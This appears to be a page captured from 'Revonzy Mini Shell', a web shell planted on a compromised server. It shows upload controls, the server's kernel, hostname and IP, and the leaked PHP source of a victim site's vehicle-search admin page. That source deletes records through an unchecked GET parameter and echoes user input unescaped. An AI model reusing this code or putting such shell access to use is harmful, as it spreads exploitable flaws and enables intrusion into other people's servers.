Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vsacademysolapur.in/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vsacademysolapur.in/admin/vehicle-master-search-page.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
					
	$flag	=	0;
	if(isset($_GET['delete_id']))
	{
		$delete_id	=	$_GET['delete_id'];
		
		if($db->delete_vehicle_data($delete_id))
		{
			$flag	=	1;
		}
	}

		  $vvehicle_name 	  	    		= "";
        $vnumber_of_seats 	  	   	    = "";
        $vdescription 			        = "";
        $vrate_per_km_non_AC 	  	   	 = "";
        $vrate_per_km_with_AC 			 = "";
        
 if(isset($_POST['psearch']))
 {

    $vvehicle_name 	  		    		= $_POST['vvehicle_name'];
    $vnumber_of_seats 	  	   		    = $_POST['vnumber_of_seats'];
    $vdescription 				        = $_POST['vdescription'];
    $vrate_per_km_non_AC 	  	   		= $_POST['vrate_per_km_non_AC'];
    $vrate_per_km_with_AC 				= $_POST['vrate_per_km_with_AC'];

     $_SESSION['filter_vvehicle_name'] 					= $vvehicle_name;
     $_SESSION['filter_vnumber_of_seats'] 			    = $vnumber_of_seats;
     $_SESSION['filter_vdescription'] 				    = $vdescription;
     $_SESSION['filter_vrate_per_km_non_AC'] 			= $vrate_per_km_non_AC;
     $_SESSION['filter_vrate_per_km_with_AC'] 		    = $vrate_per_km_with_AC;
  }	

 else if(isset($_SESSION['filter_vrate_per_km_non_AC']))
{
     $vvehicle_name 				= $_SESSION['filter_vvehicle_name'];
     $vnumber_of_seats 			= $_SESSION['filter_vnumber_of_seats'];
     $vdescription 				= $_SESSION['filter_vdescription'];
     $vrate_per_km_non_AC 	    = $_SESSION['filter_vrate_per_km_non_AC'];
     $vrate_per_km_with_AC 		= $_SESSION['filter_vrate_per_km_with_AC'];
    
 
}

$data	=	array();
$data	=	$db->get_vehicle_search_page($vvehicle_name,$vnumber_of_seats,$vdescription,$vrate_per_km_non_AC,$vrate_per_km_with_AC);	
							
$counter = 0;
if(!empty($data))
{
foreach($data as $record)
{
        	$id                     =$data[$counter][0];
         $vehicle_name	        = $data[$counter][1];
        	$number_of_seats		 = $data[$counter][2];
         $rate_per_km_non_AC  	 =$data[$counter][3];
        	$rate_per_km_with_AC	 = $data[$counter][4];
        	$description		     = $data[$counter][5];
        	$date		            =$data[$counter][6];
         $time		            =$data[$counter][7];

         
         $counter++;
        }
    }
    else
    {
        // echo "no data found.";
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Vehicle Search Page</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	 <link href="datatable/datatables.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
.col-md-12
{
	width:100%;
	margin:auto;
	margin-top:20px;
}
table,th
{
	text-align:center;
	text-transform:uppercase;
}
table,td
{
	text-align:left;
	text-transform:uppercase;
}
@media only screen and (max-width: 600px) {
	.col-md-12
	{
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}
.content-wrapper {
    position: relative;
    background-color: #f2f3fa;
    margin-left: 230px;
    padding: 0 15px 60px 15px;
    -webkit-transition: margin .2s ease-in-out;
    -o-transition: margin .2s ease-in-out;
    transition: margin .2s ease-in-out;
    min-height: 1400px; 
}
.txt
{
	text-align:left;
	color:#232B99;
	font-size:12px;
	margin-right:10px;
	font-weight:bold;
	height:40px;
}
</style>
<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
<script src="js/wow.min.js"></script>
</head>
<body class="fixed-navbar">
<div class="page-wrapper">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<div class="page-content fade-in-up">
<div class="ibox" style="border-radius:5px; padding:7px;">
<div class="ibox-body" style="padding:7px; padding-top:0px;">
	<div class="ibox-head">
		<div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>Vehicle Search Page</div>
	</div>
	<br />
	<div class="header-title">
                    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                              <div class="row" >
								 			<!-- <div class="col-lg-2">
                                    <div class="form-group">
                                       <label  class="form-label">Vehicles Name</label>
                                       <input type="text" name="vvehicle_name" class="form-control"  placeholder=""  value="<?php echo $vvehicle_name ?>"/>
                                    </div>
                                 </div> -->
                        <div class="col-lg-2">
                              <div class="form-group">
                                       <label class="form-label">Select Vehicles</label>
                                        <select name="vvehicle_name" value="<?php echo $var_selected_vehicles ?>" class="form-control" id="project_list">
										<option value="select"> Select Vehicles</option>
										<?php
											$data	=	array();
											$data	=	$db->get_vehicle_details();
											$counter = 1;
											if(!empty($data))
											{
												foreach($data as $record)
												{
													$res_id				=	$record[0];
													$vehicle_name		 =	$record[1];										
										?>
										<!-- <option value="<?php echo $res_id; ?>"><?php echo $vehicle_name; ?></option> -->
										<option value="<?php echo $res_id; ?>"<?php if($vvehicle_name==$res_id){  ?> selected <?php } ?>> <?php echo $vehicle_name ?></option>
										<?php
												}
											}
										?>
									   </select>
                                    </div>
								</div>
                                 <div class="col-lg-2">
                                    <div class="form-group">
                                       <label class="form-label">Number of seats</label>
                                       <input type="text" name="vnumber_of_seats" class="form-control" placeholder=""  value="<?php echo $vnumber_of_seats ?>"  />
                                    </div>
                                </div>
								  
								<div class="col-lg-2">
                                    <div class="form-group">
                                       <label class="form-label">Description</label>
                                       <input type="number" name="vdescription" class="form-control" placeholder="" value="<?php echo $vdescription ?>"  />

                                    </div>
                                </div>

                                <div class="col-lg-2">
                                    <div class="form-group">
                                    <label  class="form-label">Rate-per-km-non-AC</label>
                                       <input type="text" name="vrate_per_km_non_AC" class="form-control" placeholder=" " value="<?php echo $vrate_per_km_non_AC ?>" />
                                    </div>
                                 </div>
 
								 <div class="col-lg-2">
                                    <div class="form-group">
                                    <label  class="form-label">Rate-per-km-with-AC</label>
                                       <input type="text" name="vrate_per_km_with_AC" class="form-control" placeholder=" " value="<?php echo $vrate_per_km_with_AC ?>" />
                                    </div>
                                 </div>
								
								
								<div class="col-lg-2">
                                    <div class="form-group">
									<button type="submit" id="submit" name="psearch" style=" margin-top: 30px;" class="btn btn-primary">Search</button>
                                    </div>
								</div>
								

							</div>
							  
						</form><br> 

                </div>        
	
</div>

<div class="ibox-head">
		<div class="ibox-title"><i class="sidebar-item-icon fas fa-car" style='font-size:24px'></i>Vehicle Details</div>
</div>
<div class="card-body" style="overflow:scroll;">               
<div class="table-responsive row">
	<table class="table table-bordered table-hover" id="example" style="overflow-x:auto;overflow-y:auto;" cellpadding=0 cellspacing=0>
		<thead class="thead-default thead-lg">
				<tr>
                    <th>sr.no</th>
                    <th>Vehicles Name</th>
                    <!-- <th>Travaller Name</th> -->
						  <th>Number of seats</th>
						  <th>Rate-per-km-non-AC</th>	
                    <th>Rate-per-km-with-AC</th>
						  <th>Description</th>
                    <th>Date</th>
                    <th>Time</th>
            </tr>
		</thead>
		<tbody>
		<?php
								$data	=	array();
								// $data	=	$db->get_vehicle_details();				
						$data	=	$db->get_vehicle_search_page($vvehicle_name,$vnumber_of_seats,$vdescription,$vrate_per_km_non_AC,$vrate_per_km_with_AC);	
	
								$counter = 0;
								if(!empty($data))
								{
									foreach($data as $record)
									{
                                        $id                     =$data[$counter][0];
                                        $vehicle_name	        = $data[$counter][1];
                                        $number_of_seats		 = $data[$counter][2];
                                        $rate_per_km_non_AC  	 =$data[$counter][3];
                                        $rate_per_km_with_AC	 = $data[$counter][4];
                                        $description		     = $data[$counter][5];
                                        $date		            =$data[$counter][6];
                                        $time		            =$data[$counter][7];
                                        // $traveller_name=$db->get_travaller_name($id);
                                        // $vehicle_name1=$db->get_vehicle_name($id);
													 // $var_traveller_name= $db->get_select_traveller_name_from_id($traveller_name);
													 // $var_selected_vehicles= $db->get_var_selected_vehicles_name_from_id($vehicle_name1);

							?>
                     <tr class="">
								<td class=""><?php echo $counter+1; ?></td>
								<td class=""><?php echo $vehicle_name; ?></td>
								<!-- <td class=""><?php echo $number_of_seats; ?></td> -->
                      <!--   <td class=""><?php echo $var_selected_vehicles; ?></td>
                        <td class=""><?php echo $var_traveller_name; ?></td> -->
								<td class=""><?php echo $number_of_seats; ?></td>
								<td class=""><?php echo $rate_per_km_non_AC; ?> <br></td>
								<td class=""><?php echo	$rate_per_km_with_AC; ?></td>
                                <td class=""><?php echo $description; ?> <br></td>
                                <td class=""><?php echo $date; ?></td>
                                <td class=""><?php echo $time; ?></td> 
                         
                      </tr>
                        
						<?php
											$counter++;
										}
									}
									else
									{
										// echo "no data found.";
									}
                        ?>
		</tbody> 
	</table> 
</div>
</div>
<div class="ibox-head">
<div class="ibox-title"><i class="sidebar-item-icon fas fa-car" style='font-size:24px'></i>
Assigned Vehicles Details</div>
</div>
<div class="card-body" style="overflow:scroll;">               
	
<div class="table-responsive row">
<table class="table table-bordered table-hover" id="example" style="overflow-x:auto;overflow-y:auto;" cellpadding=0 cellspacing=0>
		<thead class="thead-default thead-lg">
			<tr>
                    <th>sr.no</th>
                    <th>Traveller Name</th>
					<th>Vehicles</th>
                    <th>Date</th>
                    <th>Time</th>
            </tr>
		</thead>
		<tbody>
		<?php

								$data	=	array();
								$data	=	$db->get_assign_vehicles_for_search($vvehicle_name);	
							
								$counter = 0;
								if(!empty($data))
								{
									foreach($data as $record)
									{
                                        $id                     =$data[$counter][0];
                                        $traveller_name	        =$data[$counter][1];
                                        $selected_vehicles		=$data[$counter][2];
                                        $date		            =$data[$counter][3];
                                        $time		            =$data[$counter][4];

                                        $var_traveller_name= $db->get_select_traveller_name_from_id($traveller_name);
                                        $var_selected_vehicles= $db->get_var_selected_vehicles_name_from_id($selected_vehicles);




										
							?>
                            <tr class="">
								<td class=""><?php echo $counter+1; ?></td>
                                <td class=""><?php echo $var_traveller_name; ?></td>
								<td class=""><?php echo $var_selected_vehicles; ?></td>
                                <td class=""><?php echo $date; ?></td>
                                <td class=""><?php echo $time; ?></td> 
                               
				
								
                         </tr>
                        
						<?php
											$counter++;
										}
									}
									else
									{
										echo "no data found.";
									}
                        ?>
		</tbody> 
	</table> 

</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>

<!-- END SEARCH PANEL-->
<!-- BEGIN THEME CONFIG PANEL-->

<!-- END THEME CONFIG PANEL-->
<!-- BEGIN PAGA BACKDROPS-->
<div class="sidenav-backdrop backdrop"></div>
<div class="preloader-backdrop">
<div class="page-preloader">Loading</div>
</div>
<!-- END PAGA BACKDROPS-->
<!-- New question dialog-->


<!-- End New question dialog-->
<!-- QUICK SIDEBAR-->

<script src="js/jquery.min.js"></script>
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<link rel="stylesheet" href="/resources/demos/style.css">
<script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
		
<script>

$( function()  {
		$( "#from_date" ) .datepicker({ dateFormat: 'dd-mm-yy'   }) ;
		$( "#to_date" ) .datepicker({ dateFormat: 'dd-mm-yy'   }) ;
		
}  ) ;
		


</script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/metisMenu.min.js"></script>
<script src="js/jquery.slimscroll.min.js"></script>
<script src="js/idle-timer.min.js"></script>
<script src="js/toastr.min.js"></script>
<script src="js/jquery.validate.min.js"></script>
<script src="js/bootstrap-select.min.js"></script>
<!-- PAGE LEVEL PLUGINS-->
<!-- CORE SCRIPTS-->
<script src="datatable/datatables.min.js"></script>
<script src="js/app.min.js"></script>
<script>
$(function() {
	$('#example').DataTable({
		pageLength: 500,
		fixedHeader: true,
		responsive: true,
		"sDom": 'rtip',
		columnDefs: [{
			targets: 'no-sort',
			orderable: false
		}]
	});

	var table = $('#example').DataTable();
	$('#key-search').on('keyup', function() {
		table.search(this.value).draw();
	});
  
});

</script>


	
    <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4